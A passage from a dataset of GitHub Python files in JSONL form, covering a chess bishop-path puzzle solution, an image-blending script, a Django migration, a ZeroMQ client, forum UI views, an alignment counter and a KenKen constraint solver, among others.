datetime object when the session was created in UTC time.\n        \"\"\"\n        with self._lock:\n            return datetime.utcfromtimestamp(self._data['createdAt'] / 1000.0)\n\n    @property\n    def is_being_recorded(self) -> bool:\n        \"\"\"\n        :return: True if the session is being recorded. False otherwise.\n        \"\"\"\n        with self._lock:\n            return self._data['recording']\n\n    @property\n    def media_mode(self) -> str:\n        \"\"\"\n        :return: Media mode configured for the session ('ROUTED' or 'RELAYED').\n        \"\"\"\n        with self._lock:\n            return self._data['mediaMode']\n","repo_name":"swipswaps/pyopenvidu","sub_path":"pyopenvidu/openvidusession.py","file_name":"openvidusession.py","file_ext":"py","file_size_in_byte":11752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"17817745664","text":"\"\"\"\"\"\nhttps://open.kattis.com/problems/chess\n\n\nThe basic premise of this code is to calculate how a bishop \nwould move from any given position on the chessboard to any \nother position. Check out the full description of the coding \nchallenge here:https://open.kattis.com/problems/chess \n\nDifficulty rating 2.9🟡 medium\n\n\"\"\"\n\n#TODO: Re map the coordinate plane to clean up code and readability\n#This is done and working, but I may come back and clean it up more!\n\n#mapping created on chess board \n    #A 1 is   [0    ,  [0      , 0            ]] Black\n    #A 8 is   [1    ,  [0      , 0            ]] White\n    #         [Color, [up/down, distanct right]]\nmapping = {\n    \"A 1\" : [0,[0,0]],\n    \"B 2\" : [0,[0,1]],\n    \"C 3\" : [0,[0,2]],\n    \"D 4\" : [0,[0,3]],\n    \"E 5\" : [0,[0,4]],\n    \"F 6\" : [0,[0,5]],\n    \"G 7\" : [0,[0,6]],\n    \"H 8\" : [0,[0,7]],\n    \n    \"C 1\" : [0,[-1,1]],\n    \"D 2\" : [0,[-1,2]],\n    \"E 3\" : [0,[-1,3]],\n    \"F 4\" : [0,[-1,4]],\n    \"G 5\" : [0,[-1,5]],\n    \"H 6\" : [0,[-1,6]],\n\n    \"E 1\" : [0,[-2,2]],\n    \"F 2\" : [0,[-2,3]],\n    \"G 3\" : [0,[-2,4]],\n    \"H 4\" : [0,[-2,5]],\n\n    \"G 1\" : [0,[-3,3]],\n    \"H 2\" : [0,[-3,4]],\n\n    \"A 3\" : [0,[1,1]],\n    \"B 4\" : [0,[1,2]],\n    \"C 5\" : [0,[1,3]],\n    \"D 6\" : [0,[1,4]],\n    \"E 7\" : [0,[1,5]],\n    \"F 8\" : [0,[1,6]],\n\n    \"A 5\" : [0,[2,2]],\n    \"B 6\" : [0,[2,3]],\n    \"C 7\" : [0,[2,4]],\n    \"D 8\" : [0,[2,5]],\n\n    \"A 7\" : [0,[3,3]],\n    \"B 8\" : [0,[3,4]],\n\n    #white squares\n    \"A 8\" : [1, [0,0]],\n    \"B 7\" : [1, [0,1]],\n    \"C 6\" : [1, [0,2]],\n    \"D 5\" : [1, [0,3]],\n    \"E 4\" : [1, [0,4]],\n    \"F 3\" : [1, [0,5]],\n    \"G 2\" : [1, [0,6]],\n    \"H 1\" : [1, [0,7]],\n    \n    \"A 6\" : [1, [-1,1]],\n    \"B 5\" : [1, [-1,2]],\n    \"C 4\" : [1, [-1,3]],\n    \"D 3\" : [1, [-1,4]],\n    \"E 2\" : [1, [-1,5]],\n    \"F 1\" : [1, [-1,6]],\n\n    \"A 4\" : [1, [-2,2]],\n    \"B 3\" : [1, [-2,3]],\n    \"C 2\" : [1, [-2,4]],\n    \"D 1\" : [1, [-2,5]],\n\n    \"A 2\" : [1, [-3,3]],\n    \"B 1\" : [1, [-3,4]],\n\n    \"C 8\" : [1, [1,1]],\n    \"D 7\" : [1, [1,2]],\n    \"E 6\" : [1, [1,3]],\n    \"F 5\" : [1, [1,4]],\n    \"G 4\" : [1, [1,5]],\n    \"H 3\" : [1, [1,6]],\n\n    \"E 8\" : [1, [2,2]],\n    \"F 7\" : [1, [2,3]],\n    \"G 6\" : [1, [2,4]],\n    \"H 5\" : [1, [2,5]],\n\n    \"G 8\" : [1, [3,3]],\n    \"H 7\" : [1, [3,4]],\n}\n\n\ndef moveBishop(numberOfInput,coordinateInputList):\n\n    for i in range(numberOfInput):\n        numMoves = 0\n\n        CoordinateHolder = coordinateInputList[i]\n\n        #Convert A 1 to [0, [0,0]] etc\n        startCoordinate = mapping[CoordinateHolder[0:3]]\n        endCoordinate = mapping[CoordinateHolder[4:7]]\n\n        #put the starting coordinate into the outputString\n        outputString = CoordinateHolder[0:3]\n\n        #if going to same location\n        if startCoordinate[1] == endCoordinate[1]:\n            numMoves = 0\n        #if if row or col is the same\n        elif startCoordinate[1][0] == endCoordinate[1][0] or startCoordinate[1][1] == endCoordinate[1][1]:\n            outputString += \" \" + CoordinateHolder[4:7]\n            numMoves = 1\n\n        else:\n            numMoves = 2\n            # # find the linking move\n            # print(\"START\",startCoordinate, \"END:\", endCoordinate)\n            if [startCoordinate[0],[startCoordinate[1][0],endCoordinate[1][1]]] in list(mapping.values()):\n                # for the key and value pairings in the dict\n                for key,val in mapping.items() :\n                    # if current value == possible coordinate \n                    if val == [startCoordinate[0],[startCoordinate[1][0],endCoordinate[1][1]]]: \n                        outputString += \" \" + key\n                        # print(startCoordinate[0],[startCoordinate[1][0],endCoordinate[1][1]])\n\n            else:\n                for key,val in mapping.items() :\n                    if val == [startCoordinate[0],[endCoordinate[1][0],startCoordinate[1][1]]]:\n                        outputString += \" \" + key\n\n            #add final destination to outputString\n            outputString += \" \" + CoordinateHolder[4:7]\n            \n        # if color is different\n        if mapping[CoordinateHolder[0:3]][0] != mapping[CoordinateHolder[4:7]][0]:\n            print(\"Impossible\")\n        else:\n            print(str(numMoves),outputString)\n\n\nif __name__ == \"__main__\":\n    #How many tests should be done?\n    numberOfInput = int(input())     \n\n    #initialize \n    inputCoordinates = []\n\n    for i in range(numberOfInput):\n        #Take in all the inputs into a list\n        inputCoordinates.append(input())\n    moveBishop(numberOfInput,inputCoordinates)\n\n#note to self, clean code up before submitting it, review every comment.","repo_name":"JDNafz/JDNafz","sub_path":"Open Kattis/Chess.py","file_name":"Chess.py","file_ext":"py","file_size_in_byte":4593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32350010583","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nfrom PIL import Image\n\n\ndef plotting_image(image):\n    px = 1/plt.rcParams['figure.dpi'] \n    \n    fig = plt.figure() \n    ax = fig.add_subplot(111)\n    ax.set_axis_off()\n    imgplot = plt.imshow(image,  interpolation='none')    \t\n    plt.savefig('./The_model.png', transparent=False, dpi=200, bbox_inches='tight', pad_inches=0)\n    #plt.show()\n\nfilename1 = 'mes.jpeg'\n#filename1 = 'my.png'\nfilename2 = \"message.bmp\"\nimg1 = mpimg.imread(filename1)\nimg2 = mpimg.imread(filename2)\n\nimgg = np.zeros_like(img1)\n\nfor i in range(3):\n    imgg[:,:,i] = (img1[:,:,i] + img2[:,:,i])\n'''\n\nimg2 = img2/50\n\nimgg[:,:,0] = (img1[:,:,1] * img2[:,:,2])\nimgg[:,:,1] = (img1[:,:,2] * img2[:,:,0])\nimgg[:,:,2] = (img1[:,:,0] * img2[:,:,1])\n\n'''\nimg = Image.fromarray(imgg)\nimg.save('hidden.png')\n\nimgplot = plt.imshow(imgg)\nplt.show()\n'''\nplotting_image(imgg)\n'''","repo_name":"IlyaMbot/HideAndSeek","sub_path":"hide.py","file_name":"hide.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2971837246","text":"\nclass Segment:\n\n    def __init__(self, s, e):\n\n        self.start = s\n        self.end = e\n\ndef get_optimal_points(segments):\n\n    segments.sort(key=lambda segment: segment.end)\n\n    current = segments[0].end\n\n    points = [current]\n\n    for i in range(1, len(segments)):\n\n        if current < segments[i].start or current > segments[i].end:\n\n            current = segments[i].end\n\n            points.append(current)\n\n    return points\n\ndef main():\n\n    segments = [\n        Segment(4, 7),\n        Segment(1, 3),\n        Segment(2, 5),\n        Segment(5, 6)\n    ]\n\n    for point in get_optimal_points(segments):\n\n        print(point)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"sshh12/SchoolCode","sub_path":"Algorithms/Greedy/CoveringSegments.py","file_name":"CoveringSegments.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"12604614273","text":"from django.apps import apps\nfrom django.db import migrations, models\nfrom django.db.models import F\n\n\ndef copy_field(apps, schema_editor):\n    CertificateGenerationCourseSetting = apps.get_model('certificates', 'CertificateGenerationCourseSetting')\n    CertificateGenerationCourseSetting.objects.all().update(self_generation_enabled=F('enabled'))\n\ndef undo_copy(apps, schema_editor):\n    CertificateGenerationCourseSetting = apps.get_model('certificates', 'CertificateGenerationCourseSetting')\n    CertificateGenerationCourseSetting.objects.all().update(enabled=F('self_generation_enabled'))\n\nclass Migration(migrations.Migration):\n    \"\"\"\n    Adds new field 'language_specific_templates_enabled'.\n    Also adds field 'self_generation_enabled' which is a \n    replacement for 'enabled'\n    Lastly, copies data from 'enabled' to 'self_generation_enabled'\n    \"\"\"\n    dependencies = [\n        ('certificates', '0008_schema__remove_badges'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='certificategenerationcoursesetting',\n            name='language_specific_templates_enabled',\n            field=models.BooleanField(default=False, help_text=\"Render translated certificates rather than using the platform's default language. Available translations are controlled by the certificate template.\"),\n        ),\n        migrations.AddField(\n            model_name='certificategenerationcoursesetting',\n            name='self_generation_enabled',\n            field=models.BooleanField(default=False, help_text='Allow students to generate their own certificates for the course. Enabling this does NOT affect usage of the management command used for batch certificate generation.'),\n        ),\n        migrations.AlterField(\n            model_name='certificategenerationcoursesetting',\n            name='enabled',\n            field=models.BooleanField(default=False, help_text='DEPRECATED, please use self_generation_enabled instead.'),\n        ),\n        migrations.RunPython(copy_field, reverse_code=undo_copy),\n    ]\n","repo_name":"openedx/edx-platform","sub_path":"lms/djangoapps/certificates/migrations/0009_certificategenerationcoursesetting_language_self_generation.py","file_name":"0009_certificategenerationcoursesetting_language_self_generation.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"23822151149","text":"# -*- coding: utf-8 -*-\n# @file   : pull.py\n# @author : shlian\n# @date   : 2019/6/6\n# @version: 1.0\n# @desc   :\nimport zmq\nimport zmq.asyncio\nimport asyncio\nimport signal\n\nrun_flag=True\n\nasync def start():\n    context=zmq.asyncio.Context(io_threads=5)\n    pull_socket=context.socket(socket_type=zmq.PULL)\n    pull_socket.connect(\"tcp://127.0.0.1:46789\")\n\n    poller=zmq.asyncio.Poller()\n    poller.register(socket=pull_socket)\n\n    while(run_flag):\n        for event in await poller.poll():\n            if event[1] & zmq.POLLIN:\n                data=await event[0].recv_json()\n                print(\"recv:{0}\".format(data))\n\n        #data=await pull_socket.recv_json()\n        #print(\"recv:{0}\".format(data))\n\n\ndef sig_handler(signum,frame):\n    global run_flag\n    run_flag=False\n    print(signum,frame)\n\nif __name__==\"__main__\":\n    signal.signal(signal.SIGINT,sig_handler)\n    signal.signal(signal.SIGTERM,sig_handler)\n    asyncio.get_event_loop().run_until_complete(future=start())\n\n\n\n\n\n\n","repo_name":"ztenv/python","sub_path":"zeromq/push-pull/pull.py","file_name":"pull.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"14324288390","text":"res = \"\"\nmax = -99999\nmin = 99999\nfor i in range(1, 8):\n    t = float(input())\n    if t < 10:\n        res = res + str(i) + \" \"\n    if t < min:\n        min = t\n    if t > max:\n        max = t\nprint(res)\nprint(min)\nprint(max)\n\n","repo_name":"duongnn194034/python-basic-2","sub_path":"Mid-Term/Test07.py","file_name":"Test07.py","file_ext":"py","file_size_in_byte":225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27687196791","text":"from django.urls import include, path\nfrom rest_framework.routers import DefaultRouter\n\nfrom .views import (CartItemViewSet, CartViewSet, CatalogViewSet,\n                    OrderItemViewSet, OrderViewSet, ProductViewSet,\n                    ReviewViewSet, CommentViewSet, ShippingAddressViewSet,\n                    sending_confirm_order)\n\nrouter = DefaultRouter()\nrouter.register('catalog', CatalogViewSet, basename='catalog')\nrouter.register('products', ProductViewSet, basename='products')\nrouter.register('cart', CartViewSet, basename='cart')\nrouter.register('cart-products', CartItemViewSet, basename='cart-products')\n\nrouter.register('order', OrderViewSet, basename='order')\nrouter.register('order-items', OrderItemViewSet, basename='order-items')\nrouter.register('shipping-address', ShippingAddressViewSet,\n                basename='shipping-address')\n\nrouter.register('reviews', ReviewViewSet, basename='reviews')\nrouter.register('comments', CommentViewSet, basename='comments')\n\nurlpatterns = [\n    path('v1/', include(router.urls)),\n    path('v1/auth/', include('djoser.urls')),\n    path('v1/auth/', include('djoser.urls.jwt')),\n    path(\"v1/sending-confirm-order/\", sending_confirm_order,\n         name=\"sending_confirm_order\"),\n]\n","repo_name":"EvgeniyBudaev/eccomerce_fullstack_mirrorlook_v3","sub_path":"backend/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1243,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"30239950300","text":"from aiogram import Bot, F, types\nfrom aiogram.fsm.context import FSMContext\nfrom aiogram.fsm.state import State\nfrom aiogram.types import ReplyKeyboardRemove\n\nfrom ...utils.common_keyboards import confirmation_keyboard\nfrom .. import messages\nfrom ..bot import dp\nfrom ..models import Blocked\n\nconfirmation_state = State(\"confirm_block\")\n\n\n@dp.callback_query(lambda callback_query: str(callback_query.data).startswith(\"block_\"))\nasync def block_request(\n    callback_query: types.CallbackQuery,\n    state: FSMContext,\n    bot: Bot,\n    m: messages.en.Messages,\n):\n    user_tg_id = callback_query.message.chat.id\n    dst_tg_id = callback_query.data.split(\"_\")[1]\n    await callback_query.answer()\n    await state.set_state(confirmation_state)\n    await state.set_data({\"blocking\": dst_tg_id})\n    await bot.send_message(\n        user_tg_id,\n        m.block_confirmation,\n        reply_markup=confirmation_keyboard(yes=m.yes_block, no=m.no_cancel),\n    )\n\n\n@dp.message(confirmation_state, F.text.in_(messages.union.yes_block))\nasync def block_confirmed(\n    message: types.Message, state: FSMContext, m: messages.en.Messages\n):\n    user_tg_id = message.chat.id\n    dst_tg_id = (await state.get_data())[\"blocking\"]\n    _, __ = await Blocked.objects.aget_or_create(blocker=user_tg_id, blocked=dst_tg_id)\n    await state.clear()\n    await message.reply(m.user_blocked, reply_markup=ReplyKeyboardRemove())\n\n\n@dp.message(confirmation_state, F.text.in_(messages.union.no_cancel))\nasync def block_cancelled(\n    message: types.Message, state: FSMContext, m: messages.en.Messages\n):\n    await state.clear()\n    await message.reply(m.block_cancelled, reply_markup=ReplyKeyboardRemove())\n\n\n@dp.message(confirmation_state)\nasync def unknown(message: types.Message, m: messages.en.Messages):\n    await message.reply(m.confirmation_keyboard_ignored)\n","repo_name":"Ali-Toosi/eastern-bots","sub_path":"eastern_bots/opanonbot/handlers/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8217840281","text":"#!/usr/bin/python3\n\n#a function that prints numbers 1 to 100\n\nfor i in range(1,101):\n\n    if (i % 3 != 0):\n\n        print(f'{i}, ',end='')\n\n    else:\n\n        print(f'Ngure, ',end='')\n\n","repo_name":"nguredavid/learnpython","sub_path":"0x01-python-if_else_loops_functions/12-fizzbuzz.py","file_name":"12-fizzbuzz.py","file_ext":"py","file_size_in_byte":185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5261683681","text":"\"\"\"\nMisago UI views controller\n\nUI views are small views that are called asynchronically to give UI knowledge\nof changes in APP state and thus opportunity to update themselves in real time\n\"\"\"\nfrom time import time\n\nfrom django.core.exceptions import PermissionDenied\nfrom django.core.urlresolvers import resolve\nfrom django.http import Http404, JsonResponse\n\nfrom misago.users.online.tracker import mute_tracker\n\nfrom misago.core.decorators import ajax_only\nfrom misago.core.utils import is_referer_local\n\n\n__all__ = ['uiview', 'uiserver']\n\n\nUI_VIEWS = []\n\n\ndef uiview(name, cache_frequency=15):\n    \"\"\"\n    Decorator for registering UI views\n    \"\"\"\n    def namespace_decorator(f):\n        UI_VIEWS.append((name, cache_frequency, f))\n        return f\n    return namespace_decorator\n\n\ndef get_resolver_match(request):\n    requesting_path = request.META['HTTP_REFERER']\n    requesting_path = requesting_path[len(request.scheme) + 3:]\n    requesting_path = requesting_path[len(request.META['HTTP_HOST']):]\n\n    try:\n        return resolve(requesting_path)\n    except Http404:\n        return None\n\n\n@ajax_only\ndef uiserver(request):\n    mute_tracker(request)\n\n    if not is_referer_local(request):\n        raise PermissionDenied()\n\n    resolver_match = get_resolver_match(request)\n    response_dict = {}\n\n    now = int(time())\n\n    for name, cache_frequency, view in UI_VIEWS:\n        cache_key = 'uijson_%s' % name\n        cache = request.session.get(cache_key)\n\n        if not cache or cache['expires'] < now:\n            try:\n                view_response = view(request, resolver_match)\n            except PermissionDenied:\n                view_response = None\n\n            request.session[cache_key] = {\n                'json': view_response,\n                'expires': now + cache_frequency\n            }\n\n            if view_response:\n                response_dict[name] = view_response\n        elif cache['json']:\n            response_dict[name] = cache['json']\n\n    return JsonResponse(response_dict)\n","repo_name":"xuzhao1211/OnlineExam","sub_path":"misago/core/uiviews.py","file_name":"uiviews.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26413000439","text":"#!/usr/bin/env python3\n\nimport sys\n\ni = 0\nb = 0\n#t = 0\n#Input#\nif len(sys.argv) > 1:\n    #open from file#\n    f = open( sys.argv[1] )\nelse:\n    #read from the stain by using <#\n    f = sys.stdin\n   \nfor count, line in enumerate( f ):\n    #Alignments#\n    if line.startswith(\"SRR072893\"):\n        fields = line.rstrip(\"\\r\\n\").split(\"\\t\")\n        b = 0\n        for l in fields[5]:\n            if l in (\"I\", \"D\", \"N\", \"S\", \"H\", \"P\", \"=\", \"X\"):\n                b = 1\n        for l in fields[5]:\n            if l in (\"M\") and b == 0:\n                i = i+1\n\nprint(\"There are \" + str(i) + \" alignments that match perfectly to the genome.\")","repo_name":"djlmt/qbb2018-answers","sub_path":"day2-lunch/day2-exercise-2.py","file_name":"day2-exercise-2.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"25151226350","text":"import sys\nfrom collections import deque\nimport copy\nimport itertools\n\n'''\nInput:\n    n - where grid is nxn\n    m - number of constraints\n    1 constraint per line\n        ex. + 2 0,1 0,2\n            * 9 2,2 3,2 2,3\n            v 4 5,2\n'''\n\ndef read_input():\n    constraints = []\n    size = int(sys.stdin.readline().strip())\n    num_constraints = int(sys.stdin.readline().strip())\n    for i in range(num_constraints):\n        constraint = sys.stdin.readline().strip()\n        constraint = constraint.split(' ')\n        constraint[1] = int(constraint[1])\n        for j in range(2, len(constraint)):\n            constraint[j] = (int(constraint[j][0]), int(constraint[j][2]))\n        constraints.append(constraint)\n    return size, num_constraints, constraints\n\nclass KenKenSolver:\n    def __init__(self, size):\n        self.size = size\n        self.assignment = [[0 for i in range(size)] for i in range(size)]\n        self.domains = {}\n        self.arcs = {}\n        self.constraints = {}\n\n    def display(self):\n        for i in range(self.size):\n            print(self.assignment[i])\n    \n    '''\n    Adds possible values from 1 to n to domain for each position in puzzle\n    '''\n    def createDomains(self):\n        for i in range(self.size):\n            for j in range(self.size):\n                self.domains[(i,j)] = []\n                for k in range(self.size):\n                    self.domains[(i,j)].append(k + 1)\n    \n    \"\"\"\n    Creates arc between positions on same column or row\n    \"\"\"\n    def createArcs(self):\n        for i in range(self.size):\n            for j in range(self.size):\n                self.arcs[(i,j)] = []\n        for arc in self.arcs:\n            for i in range(self.size):\n                if i != arc[1]:\n                    self.arcs[arc].append((arc[0], i))\n            for i in range(self.size):\n                if i != arc[0]:\n                    self.arcs[arc].append((i, arc[1]))\n    \n    \"\"\"\n    Adds constraint for each position based on arithmetic box it is a member of\n    \"\"\"\n    def addConstraints(self, constraints):\n        for i in range(len(constraints)):\n            if constraints[i][0] != 'v':\n                for j in range(2, len(constraints[i])):\n                    self.constraints[constraints[i][j]] = []\n                    for k in range(len(constraints[i])):\n                        if constraints[i][k] != constraints[i][j]:\n                            self.constraints[constraints[i][j]].append(constraints[i][k])\n    \n    \"\"\"\n    Assigns any values that are given in initial puzzle state\n    \"\"\"\n    def createAssignment(self, constraints):\n        for i in range(len(constraints)):\n            if constraints[i][0] == 'v':\n                pos = constraints[i][2]\n                self.assignment[pos[0]][pos[1]] = constraints[i][1]\n\n    \"\"\"\n    AC3 algorithm - removes illegal values from each square's domain\n    \"\"\"\n    def AC3(self):\n        revised = False\n        q = deque()\n        for arc in self.arcs:\n            for var in self.arcs[arc]:\n                q.append((arc, var))\n        while q:\n            (Xi, Xj) = q.popleft()\n            if self.revise(Xi, Xj):\n                assert len(self.domains[Xi]) > 0\n                for Xk in self.arcs[Xi]:\n                    if Xk != Xj:\n                        q.append((Xk, Xi)) \n                revised = True\n        return revised\n        \n    def revise(self, Xi, Xj):\n        revised = False\n        for x in self.domains[Xi]:\n            needToRevise = True\n            for y in self.domains[Xj]:\n                if y != x:\n                    needToRevise = False\n            if needToRevise:\n                self.domains[Xi].remove(x)\n                revised = True\n        return revised\n\n    \"\"\"\n    Uses AC3 algorithm to remove illegal values from each square's domain based\n    on arithmetic box\n    \"\"\"\n    def AC3Constraints(self):\n        revised = False\n        q = deque()\n        for var in self.constraints:\n            q.append((var, list(self.constraints[var][2:])))\n        while q:\n            (Xi, Xj) = q.popleft()\n            if self.reviseConstraints(Xi, Xj):\n                assert len(self.domains[Xi]) > 0\n                for Xk in Xj:\n                    q.append((Xk, list(self.constraints[Xk][2:])))\n                revised = True\n        return revised\n\n    def reviseConstraints(self, Xi, Xj):\n        revised = False\n        operation = self.constraints[Xi][0]\n        target = self.constraints[Xi][1]\n        if len(Xj) == 1:\n            for x in self.domains[Xi]:\n                needToRevise = True\n                for Xk in Xj:\n                    for y in self.domains[Xk]:\n                        if operation == '+':\n                            if x + y == target:\n                                needToRevise = False\n                        if operation == '*':\n                            if x * y == target:\n                                needToRevise = False\n                        if operation == '-':\n                            if x - y == target or y - x == target:\n                                needToRevise = False\n                        if operation == '/':\n                            if x / y == target or y / x == target:\n                                needToRevise = False\n                if needToRevise:\n                    self.domains[Xi].remove(x)\n                    revised = True\n        else:\n            domains = []\n            for Xk in Xj:\n                domains.append(self.domains[Xk])\n            fullDomain = list(itertools.product(*domains))\n            possibleValues = []\n            for x in self.domains[Xi]:\n                needToRevise = True\n                if operation == '+':\n                    for i in range(len(fullDomain)):\n                        possibleValues.append(self.addValue(fullDomain[i]))\n                    for y in possibleValues:\n                        if x + y == target:\n                            needToRevise = False\n                elif operation == '*':\n                    for i in range(len(fullDomain)):\n                        possibleValues.append(self.multiplyValue(fullDomain[i]))\n                    for y in possibleValues:\n                        if x * y == target:\n                            needToRevise = False\n                if needToRevise:\n                    self.domains[Xi].remove(x)\n                    revised = True\n        return revised\n\n    \"\"\"\n    Runs both AC3 algorithms until no further changes are made\n    \"\"\"\n    def AC3Prep(self):\n        reg_revised = True\n        constraint_revised = True\n        while not self.isAssignmentComplete() and (reg_revised or constraint_revised) :\n            for var in self.domains:\n                if len(self.domains[var]) == 1:\n                    self.assignment[var[0]][var[1]] = self.domains[var][0]\n                if len(self.domains[var]) == 0:\n                    return \"Unsolvable\"\n            reg_revised = self.AC3()\n            constraint_revised = self.AC3Constraints()\n\n\n    def backtrackSearch(self):\n        if self.backtrack() != \"failure\":\n            self.display()\n        else:\n            print(\"Could not solve\")\n\n    \"\"\"\n    Backtrack search - attempts to complete assignment,\n    backtracks if dead end reached\n    \"\"\"\n    def backtrack(self):\n        if self.isAssignmentComplete():\n            return self.assignment\n        var = self.selectUnassignedVariable()\n        for value in self.orderDomainValues(var):\n            if self.isAssignmentConsistent(var, value):\n                self.assignment[var[0]][var[1]] = value\n                result = self.backtrack()\n                if result != \"failure\":\n                    return result\n                self.assignment[var[0]][var[1]] = 0\n        return \"failure\"\n\n    def isAssignmentComplete(self):\n        for i in range(self.size):\n            for j in range(self.size):\n                if self.assignment[i][j] == 0:\n                    return False\n        return True\n\n    def isAssignmentConsistent(self, Xi, x):\n        assignment = copy.deepcopy(self.assignment)\n        assignment[Xi[0]][Xi[1]] = x\n        isConsistent = True\n        if not self.isNodeConsistent(assignment, Xi):\n            isConsistent = False\n        for Xj in self.arcs[Xi]:\n            if not self.isArcConsistent(assignment, Xi, Xj):\n                isConsistent = False\n        if not self.isNodeConstraintConsistent(assignment, Xi):\n            isConsistent = False\n        return isConsistent          \n\n    \"\"\"\n    Checks if square's assignment is consistent with arithmetic box\n        - if neighbor(s) are already assigned, \n        value must be consistent with target value\n        - if neighbor(s) have not been assigned,\n        value must allow for possible achievement of target value\n    \"\"\"\n    def isNodeConstraintConsistent(self, assignment, Xi):\n        isConsistent = False\n        operation = self.constraints[Xi][0]\n        target = self.constraints[Xi][1]\n        Xj = list(self.constraints[Xi][2:])\n        if len(Xj) == 1:\n            if assignment[Xj[0][0]][Xj[0][1]] == 0:\n                for y in self.domains[Xj[0]]:\n                    if operation == '+':\n                        if assignment[Xi[0]][Xi[1]] + y == target:\n                            isConsistent = True\n                    elif operation == '*':\n                        if assignment[Xi[0]][Xi[1]] * y == target:\n                            isConsistent = True\n                    elif operation == '-':\n                        if (assignment[Xi[0]][Xi[1]] - y == target or\n                            y - assignment[Xi[0]][Xi[1]] == target):\n                            isConsistent = True\n                    elif operation == '/':\n                        if (assignment[Xi[0]][Xi[1]] / y == target or\n                            y / assignment[Xi[0]][Xi[1]] == target):\n                            isConsistent = True\n            else:\n                if operation == '+':\n                    if assignment[Xi[0]][Xi[1]] + assignment[Xj[0][0]][Xj[0][1]] == target:\n                        isConsistent = True\n                elif operation == '*':\n                    if assignment[Xi[0]][Xi[1]] * assignment[Xj[0][0]][Xj[0][1]] == target:\n                        isConsistent = True\n                elif operation == '-':\n                    if (assignment[Xi[0]][Xi[1]] - assignment[Xj[0][0]][Xj[0][1]] == target or\n                        assignment[Xj[0][0]][Xj[0][1]] - assignment[Xi[0]][Xi[1]] == target):\n                        isConsistent = True\n                elif operation == '/':\n                    if (assignment[Xi[0]][Xi[1]] / assignment[Xj[0][0]][Xj[0][1]] == target or\n                        assignment[Xj[0][0]][Xj[0][1]] / assignment[Xi[0]][Xi[1]] == target):\n                        isConsistent = True                    \n        else:\n            domains = []\n            for Xk in Xj:\n                if assignment[Xk[0]][Xk[1]] == 0:\n                    domains.append(self.domains[Xk])\n                else:\n                    domains.append([assignment[Xk[0]][Xk[1]]])\n            fullDomain = list(itertools.product(*domains))\n            possibleValues = []\n            if operation == '+':\n                for i in range(len(fullDomain)):\n                    possibleValues.append(self.addValue(fullDomain[i]))\n                for y in possibleValues:\n                    if assignment[Xi[0]][Xi[1]] + y == target:\n                        isConsistent = True\n            elif operation == '*':\n                for i in range(len(fullDomain)):\n                    possibleValues.append(self.multiplyValue(fullDomain[i]))\n                for y in possibleValues:\n                    if assignment[Xi[0]][Xi[1]] * y == target:\n                        isConsistent = True\n        return isConsistent\n\n    def multiplyValue(self, value):\n        val = 1\n        for x in value:\n            val = val * x\n        return val\n\n    def addValue(self, value):\n        val = 0\n        for x in value:\n            val += x\n        return val\n\n    def isNodeConsistent(self, assignment, Xi):\n        if (assignment[Xi[0]][Xi[1]] >= 0 and \n            assignment[Xi[0]][Xi[1]] <= self.size):\n            return True\n        else:\n            return False\n\n    def isArcConsistent(self, assignment, Xi, Xj):\n        if assignment[Xi[0]][Xi[1]] != self.assignment[Xj[0]][Xj[1]]:\n            return True\n        else:\n            return False\n    \n    \"\"\"\n    Select unassigned square with lowest number of values in domain\n    \"\"\"\n    def selectUnassignedVariable(self):\n        min_values = 8\n        position = None\n        for i in range(self.size):\n            for j in range(self.size):\n                if self.assignment[i][j] == 0 and len(self.domains[i,j]) < min_values:\n                    position = (i,j)\n                    min_values = len(self.domains[i,j])\n        return position\n\n    def orderDomainValues(self, var):\n        return self.domains[var]\n\nif __name__ == \"__main__\":\n    size, numConstraints, constraints = read_input()\n    solver = KenKenSolver(size)\n    solver.createDomains()\n    solver.createArcs()\n    solver.addConstraints(constraints)\n    solver.createAssignment(constraints)\n    print(\"\\n\")\n    solver.AC3Prep()\n    solver.backtrackSearch()\n","repo_name":"mmcnally1/kenken","sub_path":"kenken.py","file_name":"kenken.py","file_ext":"py","file_size_in_byte":13282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
